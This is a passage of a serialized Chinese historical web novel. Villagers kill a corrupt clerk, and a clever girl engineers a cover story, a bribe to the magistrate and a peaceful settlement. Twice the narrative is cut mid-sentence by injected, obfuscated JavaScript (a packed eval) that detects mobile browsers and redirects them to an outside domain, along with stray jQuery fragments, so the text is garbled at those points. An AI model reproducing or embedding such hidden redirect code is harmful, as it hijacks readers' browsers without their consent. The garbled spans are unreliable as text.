三人在唐鸿音的引领下，大摇大摆地骑马走进了石沟村。 村中一片死寂。破败的土屋门窗紧闭，路上不见人影。 钱贵渐渐觉出几分异样，心头有些发毛，喝问唐鸿音：“人呢？唐守仁何在？” 唐鸿音一指前面祠堂：“全在祠堂前面候着呢，这边请。” 绕过一个弯，到了祠堂前的空地，黑压压的人群沉默地站着，像片没有生气的枯树林。 钱贵下马，大喇喇地走上祠堂台阶，学知县文邹邹的腔调：“尔等刁民，既已知罪，愿补缴赋税，本官念在上天有好生之德，或可网开一面。” 他余光瞥见一旁的唐照环，正用不像看活人的眼神看着他。 钱贵心头莫名一寒。 就在这时。 “狗官纳命来！” 炸雷般的怒吼响起，李铁枪如同出闸猛虎，手持一把磨得雪亮的铡草刀，率先扑了上来。紧接着，数十个石沟村民，从四面八方如同决堤的洪水，咆哮着涌向钱贵。 钱贵心腹也算凶悍，见状拔刀护卫。但村民人数太多，仇恨太深，瞬间就被淹没。 钱贵刚想喊外面救援，一块拳头大的石头狠狠砸在他嘴上，门牙崩飞，鲜血狂喷。 唐守仁和唐照环被瞬间失控的血腥场面惊呆了，唐守仁反应过来，嘶声力竭地大喊：“乡亲们，留活口，留活口啊，拿他当人质才有活路。” 唐照环也尖声叫道：“李大叔，抓住就行，不能打死。” 然而，晚了。 他们的声音，在滔天的仇恨怒潮面前，微弱得不值一提。 唐鸿音眼疾手快，一把将两人向后拉进了祠堂，紧闭大门，从门缝观察外面情况。 李铁枪杀红了眼，手中的铡草刀如同夺命虎头铡疯狂斩落，他身边的村民更是被血腥彻底激发了凶性。 钱贵的求饶声戛然而止，一根削尖的木棍从他后心狠狠捅入，从前胸透出，红的白的溅了一地。 钱贵身体剧烈抽搐了几下，再也不动了。那双曾经充满贪婪和狠毒的铜铃眼中，最后凝固的是极致的恐惧。 旁边，他的两个心腹也早被愤怒的村民打得不成形状，死得不能再死。 祠堂前的空地上，浓得化不开的血腥味在寒风中弥漫。 村民们喘着粗气，看着地上三具血肉模糊的尸体，眼中的疯狂和戾气渐渐褪去，取而代之的，是茫然和后怕。 杀了官差！还是活活打死的！闯下大祸了！ 祠堂大门内侧，虽然被唐鸿音挡着，没亲眼见到血腥场面，可令人作呕的血腥味和人最后时刻发出的惨痛叫声牢牢刻印在脑中。唐守仁面如金纸，胃里翻江倒海，扶着墙才勉强站稳。唐照环狠捂住自己的口鼻，强忍呕吐的冲动，闭上眼浑身发抖。 唯有唐鸿音脸色发青，死死用肩膀顶住门闩，身形纹丝不动，透过门缝，警惕地扫视外面。 李铁枪拄着沾满血的铡草刀，胸膛剧烈起伏，赤红的双眼死死盯着村口。 那里，还有大队持刀拿弓的官兵。 唐鸿音看向唐照环，眼神复杂难言。惊天一搏成了，然而，这血淋淋的结局，这泼天的大祸，石沟村还有唐家，接下来该如何收场。 所有人的目光，或明或暗，都聚焦在唐照环身上，等着她口中，救命或是催命的下一步。 27.第 27 章 抢理 脑中一片混沌，唐照环不停地掐身上的肉。 事因你而起，不能怂，给我清醒起来解决！ 她放下捂嘴的手，猛地睁开眼。乌黑眸子里，先前的恐惧被冷酷的清明取代。 此刻，她不再是穿越前那个只会纸上谈兵的唐照环，也不是那个在家里等五年，想要坐享其成的唐照环，她两世所有的智慧和精力都在沸腾，只为给所有人找条活路。 她想起了刚进村时身上财物被村民搜刮一空的场景。 她用尽全身力气，朝着门外嘶声大喊：“谁都不准再碰那三具尸体，谁敢碰一下，就是害死全村。还有，今日之事，不许对外吐露半个字。” 这一嗓子，如同惊雷，炸醒了门外的李铁枪。 李铁枪霍然转身，布满血丝的眼睛看向祠堂大门。 唐照环强压下胃里的翻腾，一步步走到门边，隔着门缝，对李铁枪道：“李大叔，钱贵他们身上的东西必须与进村时一模一样，乱了就说不清了。这是证据，证明他们是来干什么的证据。” 李铁枪虽是个粗人，但生死关头，他瞬间明白了其中利害。是啊，官府的人精得很，人死了，东西若再乱了，就任由外面编排了。 李铁枪毫不犹豫，手中铡刀往地上一顿，发出沉闷的响声，对着身边几个最信得过的生死兄弟吩咐：“听见了，看住这三个死货。谁敢乱摸乱动，直接劈了他。” 他又扫视全场，目光凶狠：“谁都不许走，把嘴巴给老子缝严实了，今日祠堂前的事，一个字都不准往外吐。哪个管不住舌头，连累全村老小，休怪老子不讲情面，送他全家下去陪钱贵。” 在他的积威下，村民们噤若寒蝉，纷纷后退。几个汉子应声而动，凶神恶煞地守住现场。 李铁枪这才大步流星走到祠堂门口。 唐鸿音拉开沉重的门闩，他闪身进来，反手又将门闩插死。 祠堂内光线昏暗，只有几缕天光从破窗透入，映着四张同样凝重惨白的脸。 李铁枪目光灼灼地盯着唐照环：“人，俺们杀了，祸，俺们闯了。老子从当兵吃粮那天起，脑袋就掖裤腰带上，今日宰了钱贵这狗贼，够本。 老子烂命一条，砍头不过碗大个疤，十八年后又是一条好汉。我只求你唐家一件事。” 他噗通一声，竟直挺挺跪在了三人面前，把人都惊住了。 “我膝下一双儿女，大的八岁，小的五岁。婆娘前年死了，我要也死了，他们就成孤儿了。看在我这条贱命的份上，求你们收下他们，为奴为婢都行。只求给口饭吃，别让他们冻死饿死在这山沟里，我李铁枪下辈子做牛做马报答你们。” 他说到最后，声音哽咽，额头重重磕在冰冷的泥地上。 身为父亲，为了儿女和村民甘愿赴死。唐照环心中五味杂陈，用力去扶李铁枪粗壮的胳膊，劝道：“李大叔，起来，还没到托孤的时候。人是我们一起想法子弄进来的，祸是钱贵自己作孽引出来的。要活，大家一起活，要死，也未必就轮到你一个人扛。” 李铁枪猛地抬头，眼中爆发光芒：“你有法子？” 唐照环眼神锐利如刀，扫过三人：“眼下最要紧的是村外那些官兵。钱贵死了，他手下那群爪牙群龙无首，必然又惊又怕，更会疯狂报复，但他们现在摸不清村里虚实，不敢轻举妄动，我们得利用这个时间差，把理抢到手。” “抢理？”唐守仁茫然。 “对！”唐照环语速飞快，条理清晰得可怕，“咬死一个说法。钱贵三人，是咎由自取，是胥吏贪酷激起民变，他们死有余辜。 石沟村百姓，在唐守仁苦口婆心劝说下，已幡然悔悟，不仅愿缴清今年秋税，甚至愿尽力补缴部分旧欠，只求钱贵亲自入村勘验作保，免除后患。 然而，钱贵贪婪成性，进村后，非但无视村民悔过之心，反而变本加厉，意图暴力催征。更可恨的是，他觊觎村里祖传的宝物，强行索要。李铁枪上前理论，钱贵竟肆意辱骂殴打，其言语之恶毒，行径之暴虐，令人发指。最终，钱贵更是先行动手，拔刀欲伤人命。 村民本已服软，却遭此奇耻大辱和生命威胁，积压多年的冤屈愤怒瞬间爆发。混乱之中，激愤的村民失手将钱贵及其两个率先动手行凶的心腹差役打死。 而唐守仁和差役老张头，全程都在竭力劝阻，只是势如潮涌，未能阻止惨剧发生。这一点，至关重要。” 唐守仁听得心惊肉跳，但也知道这是唯一能用的说法，艰难地点了点头，李铁枪更是对唐照环佩服得五体投地。 唐鸿音听完，走到角落，揪起几乎被遗忘的差役老张头的衣领：“你说说，钱贵进村后，是不是态度蛮横，言语恶毒，还先动手打人？” 老张头早已吓得魂飞魄散，为了活命，他毫不犹豫地小鸡啄米般点头：“是是是，千真万确。钱牢头，不，钱贵那厮，一进来就骂骂咧咧，说刁民该杀，还踹了李铁枪一脚。是他先拔的刀子，老汉我看得清清楚楚。” 李铁枪眼中燃起了希望的火苗：“我记住了，就这么说。” “好了，我们立刻行动，兵分三路。爹，你与差役老张头出村，对村口那些弓手说，村里已经服软，钱贵大人正在里面清点村民自愿补缴的财物，心情大好，吩咐他们原地驻扎，不得擅入惊扰。你姿态放低，言辞恳切，务必安抚住他们。” 唐守仁看看门外那血腥之地，嘴唇哆嗦：“那你呢？” “我留下。”唐照环脸上是远超年龄的坚毅，“爹，你放心，李大叔会护我周全，十二叔越快搬来救兵，我越安全。” 唐守仁心如刀绞，但也知道女儿留下是稳住石沟村这火药桶的关键。他不再犹豫，带着老张头，推开祠堂大门，在一片村民复杂目光的注视下，强作镇定地朝村口走去。 唐照环转向唐鸿音，眼神灼灼：“十二叔你的担子最重。你骑着钱贵留下的马，连夜赶回永安县城，去找族长爷爷，把这里发生的一切，尤其是钱贵如何激起民变，如何咎由自取之事，详详细细告诉他。 然后劝他准备一份厚礼，金银也好，值钱的古玩字画也罢，务必厚重，由你陪着去求见知县。 只要族长爷爷同意去见知县，我觉得他能比我想象中干得更好，就不用你教了，只需提醒他要点。 报平安，定情有可原的基调；推责任，保知县政绩的大局；安民心，承诺协助安抚。最后，一定要推荐我三叔唐守礼接任钱贵，前来此处处理烂摊子。 承诺他上任后，必唯知县马首是瞻，脏活累活抢着干，黑锅他来背，而且年节孝敬，必比钱贵丰厚数倍，绝不让知县吃亏。” 这丫头把知县、唐家和石沟村都放在棋盘上摆弄，算计深得吓死人。唐鸿音第一次产生了仰视唐照环的想法。 “十二叔，务必说服族长，也务必让知县明白，这案子若按我们说的低调处理，对他有百利而无一害，他只要不是蠢到家，必会答应。” 唐鸿音用力一抱拳：“环丫头放心，话在人在，话失人亡。我唐鸿音拼了命，也把这事办成。” 他从祠堂后窗翻出，借着房屋阴影的掩护，悄无声息地潜到拴马处，上马狠狠一夹马腹。马嘶鸣一声，驮着唐鸿音，如同离弦之箭，冲上通往县城的崎岖山路。 唐照环被李铁枪亲自带回祠堂的后屋，由他一双儿女陪着，成了石沟村实质上的贵客兼人质。 夜色如墨。 唐守仁凭借秀才身份和那套钱大人正在清点宝物，心情大好的说辞，加上老张头在一旁唯唯诺诺地证实，竟真唬住了村口群龙无首又摸不清虚实的官兵，让他们就地驻扎，耐着性子等待。 唐鸿音纵马狂奔，马蹄如同急促鼓点，寒风如刀割面，他浑然不觉，心中只想再跑快点。 待他如同泥人般滚鞍下马，冲进家门，气都未喘匀，便竹筒倒豆子般将石沟村的惊天巨变和唐照环的策略和盘向族长托出。 族长听完，在厅中来回踱步，半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328801|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，猛地一顿足，放出狠话：“好，好一个咎由自取，环丫头真乃我唐家奇女子，就按她说的办。” 唐家虽非大富，但压箱底的宝贝还是有的。族长连夜开库，取出一条和田白玉腰带，一对金镯，又封了一百两雪花银，带着唐鸿音直奔县衙后堂。 知县此刻也是坐立不安。钱贵去石沟村迟迟未归，派去的官兵也没个准信传回。他刚到永安县不久，地面不熟，衙门里多是钱贵这般经营多年的老人。他本就对地头蛇时常掣肘自己心怀不满，现在更觉得钱贵不把自己放在眼里。 听到唐家族长为唐鸿音在石沟村见闻求见，知县马上宣人入后堂。 族长一见知县，未语先跪，老泪纵横：“老朽特来请罪，也特来为官人分忧。” 知县心头一跳：“老太爷何出此言？快请起。” 他目光扫过唐鸿音放在一旁的礼盒，心中稍定。 族长声情并茂地将钱贵如何贪酷暴虐、强抢民财、激起民变、被失手打死的过程演绎了一遍，尤其突出了钱贵的咎由自取。唐鸿音在一旁适时补充细节，将钱贵的蛮横说得活灵活现。 知县听得脸色变幻不定。 钱贵死了？他心中先是涌起一股快意，这碍眼的钉子终于拔了。随即又被巨大的恐慌笼罩，钱贵声势浩大下乡又被杀，无论如何都瞒不住，真要让州府按民变定论，他至少白干十年。 唐家族长察言观色，抛出了解决方案：“当务之急，是快速结案，安抚地方，避免事态扩大。老朽斗胆建议。 其一，将此事定性为钱贵与村民李铁枪的私人恩怨，不是民变。 其二，请知县下令，彻查钱贵历年贪墨不法，如若与石沟村有关，则将其退还给石沟村民，以示恩泽。 其三，将冲突中失手打死钱贵的关键人物李铁枪收押问罪，其余村民，法不责众，不予追究。 其四，立即派出一位熟悉本地且绝对可靠之人接任，前往石沟村平息局面。 老朽斗胆举荐唐守礼。 此人曾在县学进学，略懂文墨，更兼交游广阔，深谙本地人情世故，处事圆融。若得官人提拔，必感恩戴德，唯您马首是瞻。且其兄唐守仁刚立下安抚之功，用其弟，亦是彰显您赏罚分明。 唐守礼上任后，去石沟村善后之事，由我唐家全权负责，必能办得妥妥帖帖。” 族长说完，将带来的礼盒推到知县面前。 知县沉吟良久。 钱贵已死，死无对证。这唐家老狐狸的话，未必全真，但其中利害，却点得透透。若真按唐家所说低调处理，既能避免民变大罪，又能换上更听话的人，还能白得一份厚礼和日后的孝敬。 唐家为了保唐守仁，必不敢不尽心。而且一个油滑的帮闲，总比再来一个钱贵那样的地头蛇好控制，让他去干那些得罪人的脏活，正好。 这笔买卖，划算。 至于石沟村死了几个胥吏，不过是几条咬人的狗罢了，死了就死了。只要不闹大，不连累他前程，死得越多越好。 退还赃款？怎么查，退不退，还不是自己一句话。 知县脸上阴云散去，换上沉痛又无奈的表情，长长叹了口气：“钱贵此人，本官早觉其行事过于酷烈，常有规劝，奈何其积习难改，竟酿成今日惨祸。为地方安宁计，为大宋体面计，也只能如此处置了。” 族长和唐鸿音心头大石落地一半。 知县定了调子，后面就好说了：“石沟村那边，就由负责钱税的新押司唐守礼前去善后，务必安抚妥当。至于那李铁枪，押回来，按律处置便是。老太爷，唐家此番有功于地方，本官记下了。” “官人英明，老朽代唐家，代永安县百姓，叩谢知县大恩。”族长和唐鸿音拜倒。 一场泼天的血祸，就在这后堂昏暗的日光下，在各方心照不宣的算计与妥协中，被悄然抹平。而那个远在石沟村里以身为质的唐照环，用她的智谋，为所有人劈开了条染血的生路。 28.第 28 章 平事 知县亲笔的调令，连同身簇新的押司服，由唐鸿音亲手送到了唐守礼手里。 唐鸿音见过血的眼睛瘆得吓人：“这身皮，是用二哥和环儿的命，还有唐家全族的运道押上去才拿下的。马上随我去石沟村，把该办的事，漂漂亮亮地办了，听到了没？” 他明白为何族长和唐照环都推举唐守礼，唐家没落了，没法挺直腰杆了。唯有这泼皮，能在官差踹门时嬉笑攀交情，能在杖刑落下前跪着喊爷爷。 若唐家还兴盛，或有旁人能担此任，绝不会瞧唐守礼一眼。 “是，是，明白。” 唐守礼手忙脚乱地套上衣服，揣上唐鸿音给的十几贯钱，心急火燎地往石沟村赶。 一路上，他脑子里都在飞快盘算。村外弓手是狼，村里刚杀了人的刁民是虎，怎么才能把这群虎狼都安抚住，把差事办妥，还能给自己捞点体面。 天色微明，唐守礼总算赶到了石沟村口。远远望去，只见二三十号弓手，刀枪在手，围成一个半圆，堵在村口。 唐守仁和老张头被围在中间，正竭力解释安抚，嗓子都哑了，效果却甚微。尤其几个钱贵的心腹，眼神凶狠，蠢蠢欲动，叫嚷着要冲进去找人。 “哎呦，各位辛苦辛苦，冻坏了吧。”唐守礼人未到，声先至，满脸堆笑，三步并作两步跑上前，拿出调令，“在下唐守礼，新任本县押司，奉知县之命，特来协助处理此间事务。” 钱贵不在，代领头的班头一愣，上下打量，满脸不信：“押司？此处不是交由钱牢头处理。” 唐守礼面对疑问，一脸艳羡地大声说：“钱牢头可了不得，办了大事呢，里面那些刁民，被他一番雷霆手段，吓得屁滚尿流。不仅把该缴的税钱凑齐了，连带着往年欠的都吐出来不少。这不，知县听说了，叫我连夜过来清点造册，听说白花花的银子，黄澄澄的铜钱，堆得跟小山似的。” 此次前来的弓手并不全是钱贵的人，也有其他想来沾光的派系，一听这话，又看到旁边陪着的是进过村的唐鸿音，明白了。 钱贵带着亲信捞到钱的消息走漏了，知县派人过来摘桃子，少不了要掰扯。 “外面天寒地冻，兄弟们辛苦，等我进去里面点算清楚，酒肉备好，再请各位进去暖和暖和，也好押运钱粮回城。” 这话按照官场暗语，便是其他人不许插手，承诺如果唐守礼替知县把钱抢到手，在场非钱贵的派系也能分一杯羹。 班头将信将疑，但唐守礼是拿着上任文书来的，奉知县口谕，他们不好硬闯。更何况，万一真有钱分呢？ “那……唐押司，你还不赶快进去。”班头道。 “正要去，正要去。这里有点小钱，各位守在外面也辛苦了，买点热乎的垫垫肚子，我请客。”唐守礼拿出一贯钱塞进班头手里，挺起胸膛，大摇大摆地进了村。 唐鸿音招呼其他唐家小伙儿扶着唐守仁和老张头跟上。 班头见唐守礼出手如此大方，心知事大，他进村后少不了掰扯。他心一横，让手下弓手把几个钱贵留在村外，想冲进去的心腹团团围住。 祠堂前的血腥味淡了些，但肃杀压抑的气氛更重了。李铁枪坐在祠堂门口，铡草刀放在脚边，眼神警惕地盯着下面的村民。 为了防止有人走漏消息，全村的人都被聚集在此处，李铁枪按禁军做法，每半个时辰点一次名。 唐照环站在李铁枪身侧，看到唐守礼那身新皮和油滑的嘴脸，眼神平静。 她强调让唐守礼来此处善后，就是相信他能靠自己本事，安抚住外面的弓手，全乎地进来。 “哎呦我的环儿，可算见着你了，把三叔我急死了。” 唐守礼离着老远就夸张地喊起来，小跑着上前，作势要拉唐照环的手，被李铁枪冰冷的目光一瞪，讪讪地缩了回去。 他清了清嗓子，运足了中气，高声道：“石沟村的父老乡亲们，都听好了。本差唐守礼，奉永安县知县之命，前来处置前日之事。” 村民一阵骚动，无数道目光聚焦在他身上，有恨，有怕，有茫然。 唐守礼挺直腰板，声音拔得更高：“知县已然查明，前日惨祸，皆因前牢头钱贵，贪酷不法，罔顾朝廷法度。借催征之名，行敲诈勒索之实，意图强夺你村李铁枪家传之宝。遭拒后，恼羞成怒，辱骂殴打李铁枪在先，悍然拔刀行凶欲取人性命在后，其行径之恶劣，天理难容。” 他这番与事实不符的说辞，让村民们愣住了。 县太爷是这么认定的？是钱贵的错？ “幸得！”唐守礼话锋一转，指着唐守仁，“本差之兄，秀才唐守仁，临危受命，不顾自身安危，竭力劝阻钱贵暴行。虽未能阻止惨剧发生，然其忠义之心，天地可鉴。 知县明察秋毫，已然认定真相，钱贵及其爪牙之死，实属咎由自取。念及尔等皆是被逼无奈，情有可原，法外开恩。 特谕，此事仅追究直接动手之首恶一人，其余人等，概不株连。还将彻查钱贵历年贪墨所得，若与石沟村有关，立将退还，以恤民艰。” 人群彻底炸开了锅。 不追究了？只抓李铁枪一个？还退钱退粮？巨大的惊喜瞬间冲垮了村民心中的恐惧和绝望。许多人当场软了下来，躺在地上又是哭又是笑。 李铁枪看向唐守礼的眼神复杂难言。他知道，这是最好的结果了。 他踏前一步，声音洪亮：“乡亲们都听见了，知县开恩了，我李铁枪一人做事一人当，绝不连累大家。” “好，算条汉子。来人！”唐守礼朝带来的唐家青壮一努嘴，“把他绑了，带回县衙，听候发落。” 两个青壮上前，象征性地用绳子套住李铁枪的胳膊，并未用力捆绑。 唐守礼又转向村民，换上焦急面孔：“诸位乡亲，先别忙着高兴，再听我一句，祸事还没完呢。” 村民们刚放下的心又提了起来。 “村口外面守着的弓手，不少是钱贵的铁杆心腹。我刚才在外面，靠着知县的手令，连哄带吓才勉强镇住场面。可那帮杀才，根本不服。 这会儿指不定就在村外头密谋，要找个由头，不管不顾地冲杀进来，把咱们都灭口了，再推到刁民暴乱的头上。到时候死无对证，知县远在县城鞭长莫及，咱们连个活命的机会都没有哇。” “唐官人，您得救救我们啊。”有村民带着哭腔问，众人纷纷附和。 唐守礼激愤地说：“为今只有一个法子，就是去县城，让知县看到咱们的诚心和力量，也让外面那些想闹事的杀才，不敢轻举妄动。” 李铁枪看向唐照环，见她点了点头，便对村民们吼道：“听唐押司的，护着他，咱们一起去县衙，请知县相信咱们，惩治坏人，保护好村子。” 短暂的沉默后，众人轰然应诺，声震四野。 唐家众人商量了下，挑了队小三十号人的队伍，不仅有精壮汉子，也有妇孺老幼，李铁枪的一对儿女也在里面。 唐守礼心中一块大石落地，脸上焦急化作了欣慰和感动，朝着石沟村去县城的众人团团作揖：“多谢诸位乡亲深明大义，我和李兄弟的命，就托付给各位了。咱们事不宜迟，这就出发。” 一行人出了石沟村。 唐守礼径直走到班头面前，拿出公文，清了清嗓子：“钱贵身为胥吏，不思报效朝廷，体恤黎民，趁下乡催征之际激起民愤，已经于混乱冲突之中意外身亡。实属咎由自取，死有余辜。” 钱贵几个心腹眼珠子都红了：“放屁，你算什么东西，敢污蔑我们钱爷。” “污蔑？”唐守礼冷笑一声，指着老张头，“老张头，你是亲眼所见。你说，钱贵是不是先骂人打人拔刀子？” 老张头被推到前面，腿肚子哆嗦，想起唐照环的话和自己的小命，鼓起勇气：“千真万确，他骂得可难听了，踹了人，拔了刀。老汉我拿祖宗十八代发誓。” 唐守礼阴冷的目光扫过钱贵那几个铁杆心腹，又指向村内：“里面几百口子，人人皆可为证，知县明察秋毫，已有公断。 你们难道还想着替钱贵报仇？行啊，试试。看看是你们刀快，还是我身边被逼急了的村民锄头快。看看打起来，知县是保你们这些激化民变的丘八，还是保我？ 别到时候，钱贵的棺材板还没盖严实，你们就下去陪他了。” 激化民变的帽子扣下来，吓得那几个刺头脸色煞白。他们这才猛然惊醒，知县本来就对钱贵不满，钱贵死了，他们算个屁，真动起手死也是白死，知县绝不会保他们。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343083|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 钱贵的心腹蔫了，低着头不敢再言语。 班头见有知县手令，有人证，不愿蹚这浑水，恐惹火烧身：“既然知县已有明断，我等自当遵命。” 大部分弓手本就是混口饭吃，谁给钱跟谁干。虽然满肚子疑问，但文书是真的，班头也发话了，天又冷，谁也不想在这鬼地方多待。 “好，都是明白人。”唐守礼满意地点点头，大手一挥，踏上了返回县城的路。 寒风呼啸，雪粒子开始飘落。 唐守仁抱着唐照环坐在骡车上，她登上车后，终于扛不住连续两日高强运转，脑力耗尽精疲力竭昏了过去。 老张头缩在车辕边，仿佛又老了几岁。 李铁枪被两个弓手押着，锁链加身，沉默地跟在后面。他的那双儿女被唐鸿音抱着，惊恐地看着陌生的世界和戴着枷锁的爹爹。 唐守礼骑在马上，走在队伍最前，腆胸迭肚，志得意满。几个钱贵的心腹，远远跟在后面，周围被石沟村村民围着，眼神怨毒，却敢怒不敢言。 回到永安县时，已是第二天。 城外官道旁，前来此处的石沟村青壮整齐列队，在唐家子弟的带领下，齐声高呼：“永安青天——知县英明——” 气势十足，引得过往行人纷纷侧目。 妇孺们则靠着唐守礼的面子，在弓手陪同下进了城，缓缓向县衙行去。 队伍行进极慢，沿途百姓纷纷驻足观望，所有人朝着县衙方向一步一拜，几个半大孩子捧着粗布包裹的干菜四处分发，说是石沟村穷苦，无以为报，只求各位不嫌弃。 街边茶肆里，几个闲汉看得啧啧称奇：“嘿，稀奇，石沟村那帮刁民，前几日还抗税，今日竟来谢恩？” 旁边有人道：“听说乃是钱贵贪虐多年，知县查明真相，非但不追究村民，还愿退还多征的钱粮。这般仁德，村民岂能不感恩？” “原来如此。”众人恍然。 队伍终于行至县衙前，早有衙役通报进去。 知县闻报一愣：“石沟村的人来谢恩？” 衙役回禀道：“唐家安排的，说是妇孺老弱，绝无威胁，只为表忠心。” 知县略一沉吟，点头道：“既如此，本官便见一见。” 不多时，县衙大门敞开，石沟村的妇孺老弱俯身行礼，为首的老者双手捧着一卷黄纸，颤声道：“活命之恩，石沟村上下没齿难忘。小老儿斗胆，代全村献上颂表一封，谢知县垂怜。” 知县展开一看，字迹清秀工整，显然是唐守仁的手笔。文中极尽颂扬之词，赞知县明察秋毫仁德如天，愿世世代代，感念大恩。 知县越看越满意，他本担心此事影响官声，谁知唐家竟安排得如此妥帖，让百姓亲眼见证，变危难为仁政。 他和颜悦色道：“回去安心耕作，待钱贵贪墨之财清点完毕，必按例退还。” “谢大官人。” 待妇孺们退下后，知县暗自笑道：“唐家办事，果然得力。” 等石沟村众人安然返回，族长将唐守礼叫到主屋正堂。 唐守礼表功：“二伯父，族长，小的幸不辱命，把二哥和环儿平安带回来了。” “此次差事办得还算利索，记住，穿上这身皮，你就是唐家在衙门的脸。行事要有分寸，要懂进退，更要紧的是忠心，对家族忠，对知县忠。若再像从前那般浑浑噩噩，或是胆敢吃里扒外，损害家族……” 族长的声音陡然转冷，拐杖重重一顿， “我能让你穿上这身皮，风光无限，也能扒了你这身皮，打回原形，甚至比从前更不如，让你在永安县，再无立锥之地。你可明白？” 这话语中的森然寒意，让唐守礼激灵灵打了个冷战。他立刻指天发誓：“伯父放心，我能有今日，全是族长和家族给的。若有半点异心，叫我唐守礼天诛地灭，断子绝孙，死后下十八层地狱，永世不得超生！” 族长点头：“记住就好，去歇着吧。” 唐守礼如蒙大赦，弓着腰退了出去。 走出主屋，被冷风一吹，他才发觉后背的冷汗早已湿透了内衫。他摸了摸身上的皂隶服，又摸了摸怀里几天内就变得厚重的钱袋。 他唐守礼的好日子，终于开始了。 29.第 29 章 擢升 永安县城南门外，寒风依旧凛冽。 石沟村的老少几十口子，得了知县承诺，又在唐家安排下修整了一晚，脸上总算有了点活气，准备回村。 唐守仁带着唐照环，还有新晋押司唐守礼，亲自来送。 唐照环欣慰地看着这群前些日还生死相搏，如今因同一条生路而牵连在一起的乡亲。 她小脸冻得通红，靠在唐守仁身边，眼中藏不住浓到化不开的疲惫，像是随时可能再次昏睡过去。 村长上前深深作揖，他身后的人也纷纷行礼：“唐押司，环娘子，唐秀才，石沟村几百口子的命，是你们捡回来的。往后但凡用得着，石沟村绝无二话。” 唐守仁连忙搀扶：“您言重了，守望相助本是应当。” “恩情就是恩情。”村长固执地摇头，敬畏地对唐照环说，“环娘子，这次真是多亏了你。老汉我嘴笨，也不会说话。石沟村穷是穷，山沟沟里，花花草草还是有的。你喜欢个啥花儿草儿的只管说，回去我就发动全村，给你寻摸最好的，找不到就种，种好了给你送来，也算一点心意。” 唐照环看老人殷切又卑微的眼神，帮着想到了另一条路：“真要种，不如种点蓼蓝和茜草吧。” “蓼蓝？茜草？”村长一愣，村民们也面面相觑，这名字听着陌生。 “我在绣艺坊学艺，常听教习说，染丝线可是门大学问。”唐照环解释道，“蓼蓝叶子能染靛青色，茜草根能染红色。这两种草，种在田埂地头不占好地，县里染肆常年收，比寻常柴草值钱。” 能换钱的草！ 村长激动地连拍大腿：“小娘子想得周到，到底是读书人家的闺女。俺们回去寻种子，开春就种，种好了，头一茬就给小娘子送来。” 唐照环一笑：“先谢过各位，祝咱们石沟村，来年蓼蓝茂盛，茜草红火。” “哎，好，好。”村民们喜不自胜，村长压低声音，对唐守仁和唐守礼深深一揖，“李铁枪拜托二位看顾了。” “放心。”唐守礼拍胸脯，“有我唐守礼一天，就没人敢动他一根汗毛。” 送走了千恩万谢的石沟村民，唐守仁心中记挂李铁枪，便带着唐照环，由唐守礼陪同，拐进了县衙大牢。守门的狱卒见是新任押司，忙不迭地打开牢门。 牢里气味浑浊，光线昏暗。关押李铁枪的是个单间，虽简陋，倒也还算干净，显是唐守礼特意打过招呼。 李铁枪戴着脚链坐在干草堆上，见唐守仁父女和唐守礼进来，他挣扎着想起身。 唐守仁忙上前按住他：“委屈你了。” 李铁枪咧嘴一笑：“唐秀才说的哪里话，在这里有吃有喝，又没挨打，全靠唐押司费心。” 唐守仁叹口气，解释道：“按朝廷法度，你这案子涉及人命，知县无权判决。得行文上报州府，由州府派员下来复审，一应人证物证俱全才能定案。这来回怕是要些时日。” 李铁枪点点头：“我懂。” 旁边的唐守礼得意插话：“走完全程没个三五个月下不来。这段日子，你就安心在这儿待着，该吃吃，该喝喝，缺啥少啥跟狱卒说，算我账上。 上报文书是我二哥亲笔写的，环儿在旁边指点，那叫一个滴水不漏，句句都在点上，咬死了钱贵强抢民财和拔刀行凶在先，你激愤自卫。 有老张头，还有石沟村那么多人作证，若非有人使坏，按律多半是刺配边军，要是州府高抬贵手，还能发到邻近州的厢军效力。你若去了厢军，指不定还能混个小旗当当。” 李铁枪听得眼中精光一闪。发配厢军？比他预想的砍头或绞刑好太多了，他本就是禁军出身，去厢军算重操旧业。 他猛地抱拳：“李铁枪这条命，以后就是唐家的，水里火里，绝不含糊。” “言重了。”唐守礼假意谦让，心里却乐开了花。起码在他离开永安县前，自己不用担心没有武力高强的帮手了。 李铁枪犹豫了一下，眼中露出期盼，小心翼翼地问：“我那俩娃儿？” 唐守礼会意：“你那对儿女好着呢，在我二哥家住，吃穿用度都当自家孩子看待。就是牢里规矩严，暂时不能带他们进来探视。” 看到李铁枪眼中失望，唐守礼神秘兮兮地指了指牢房高处的小窗：“不过嘛，你站到那墙角，踮踮脚，从窗缝里往外瞅瞅？” 李铁枪不明所以，依言走到墙角，费力踮起脚尖，将眼睛凑近狭小的窗缝。 只见外面空地上，溪娘抱着玥儿，领着两个穿袄的孩子在晒太阳。男孩约莫七八岁，女孩五六岁，正是他的一双儿女。两人小脸洗得干干净净，身材浑实，与他记忆中面黄肌瘦的样子判若两人。 李铁枪好半晌才退下来，转过身时，眼眶已是通红。 他深深一揖：“我李铁枪下辈子做牛做马报答三位。” “行了行了，这辈子还没过完呢，说什么下辈子。孩子好好的，你就安心过日子，等风头再松点，想法子让他们进来看看你。” 探视完毕，三人回家。 